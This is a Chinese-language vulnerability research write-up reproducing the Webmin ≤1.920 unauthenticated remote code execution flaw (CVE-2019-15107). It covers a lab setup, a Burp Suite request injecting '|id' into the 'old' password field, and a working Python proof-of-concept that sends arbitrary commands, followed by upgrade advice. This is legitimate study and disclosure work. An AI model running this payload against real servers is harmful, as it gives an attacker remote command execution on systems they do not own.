Webmin<=1.920-Unauthenticated_RCE(CVE-2019-15107)利用测试
0x00 前言
2019年8月10日,Ozkan(@ehakkus)在DEFCON AppSec Village公开了一个0 day,1.930以下版本的Webmin存在远程代码执行漏洞,文章地址如下:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
我对这个漏洞进行了跟踪研究,本文将要记录测试过程,根据漏洞原理使用Python编写一个POC,并给出防御建议
0x01 简介
本文将要介绍以下内容:
- 漏洞简介
- 搭建测试环境
- 使用Burp Suite复现漏洞
- 使用Python编写POC
0x02 漏洞简介
Webmin是基于Web的Unix系统管理工具,简单理解:使用Webmin能够通过浏览器远程管理Unix系统的主机
1.930以下版本的Webmin存在远程代码执行漏洞,当Webmin的Password expiry policy
设置为Prompt users with expired passwords to enter a new one
时(默认设置为Always deny users with expired passwords
),通过构造特殊格式的POST包,能够实现远程代码执行
0x03 搭建测试环境和漏洞复现
测试系统: Centos7 x64 IP:192.168.112.181
1.安装perl和依赖库
yum -y install perl
yum -y install perl-Net-SSLeay
yum -y install perl-Encode-Detect
2.下载并安装存在漏洞的Webadmin(1.920)
wget https://sourceforge.net/projects/webadmin/files/webmin/1.920/webmin-1.920-1.noarch.rpm
rpm -U webmin-1.920-1.noarch.rpm
安装成功后Webadmin默认开启SSL
3.配置防火墙,打开10000端口,支持远程访问
添加10000端口:
firewall-cmd --zone=public --add-port=10000/tcp --permanent
重启防火墙:
firewall-cmd --reload
查看端口号是否开启:
firewall-cmd --query-port=10000/tcp
4.远程登录
https://192.168.112.181:10000
登录页面如下图
使用Centos的root用户口令进行登录
注:
为了便于测试,可以先关闭SSL功能,位置为:Webmin Configuration
-> SSL Encryption
如下图
新的登录页面为http://192.168.112.181:10000
5.修改Password expiry policy
位置为:Webmin Configuration
-> Authentication
默认为Always deny users with expired passwords
修改为Prompt users with expired passwords to enter a new on
如下图
6.添加新用户
位置为:Webmin Users
添加用户成功后,修改Password选项,添加Force change at next login
如下图
7.使用新用户登录
提示需要修改密码
如下图
8.开启Burp Suite进行抓包
任意输入旧口令和新的口令
Burp Suite抓包如下图
正常的返回结果如下图
9.修改POST包,添加Payload
重复步骤8,并修改POST包
原数据:
user=a&pam=&expired=2&old=123&new1=456&new2=456
新数据:
user=a&pam=&expired=2&old=123|id&new1=456&new2=456
如下图
新的结果如下图
执行了命令(id
)并输出结果
0x04 使用Python编写POC
Ozkan(@ehakkus)在他的文章中使用ruby编写了POC,这里使用Python根据Burp Suite的抓包情况重写一个POC
需要考虑以下问题:
1.Python使用requests发送POST包
POST包格式如下图
对应Python使用requests发送POST包的代码如下:
import requests
def test_post_http(ip,command):
try:
url = 'http://' + ip + ':10000/password_change.cgi'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': "gzip, deflate",
'Referer': 'http://' + ip + ':10000/session_login.cgi',
'Cookie': 'redirect=1; testing=1; sid=x',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '47'
}
payload = 'user=a&pam=&expired=2&old=test|' + command + '&new1=test1&new2=test1'
r = requests.post(url, data=payload, headers = headers)
print r.text
except Exception as e:
print '[!]Error:%s'%e
2.添加对结果的识别
如果Webmin未开启Prompt users with expired passwords to enter a new one
,结果为:
<h1>Error - Perl execution failed</h1>
<p>Password changing is not enabled! at /usr/libexec/webmin/password_change.cgi line 12.
</p>
如果Webmin使用https,结果为:
<h1>Error - Document follows</h1>
<pre>This web server is running in SSL mode. Try the URL <a href='https://webmin-node-reddis:10000/'>https://webmin-node-reddis:10000/</a> instead.<br></pre>
如果Webmin开启Prompt users with expired passwords to enter a new one
,结果为:
<hr>
<center><h3>Failed to change password : The current password is incorrect</h3></center>
<hr>
3.添加对HTTPS的支持
如果结果为This web server is running in SSL mode.
,那么跳转到HTTPS再次测试
另外,需要取消证书验证
原代码:
r = requests.post(url, data=payload, headers = headers)
新代码:
r = requests.post(url, data=payload, headers = headers, verify = False)
取消证书的ssl-warning,添加代码:
import warnings
warnings.filterwarnings("ignore")
否则,会提示:
C:\Python27\lib\site-packages\urllib3-1.25.3-py2.7.egg\urllib3\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
完整测试代码已开源,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/Webmin%3C=1.920-Unauthenticated_RCE(CVE-2019-15107).py
0x05 防御建议
1.升级至1.930
2.Password expiry policy
采用默认设置
0x06 小结
本文对Webmin<=1.920的远程代码执行进行测试,记录过程,根据漏洞原理使用Python编写一个POC,并给出防御建议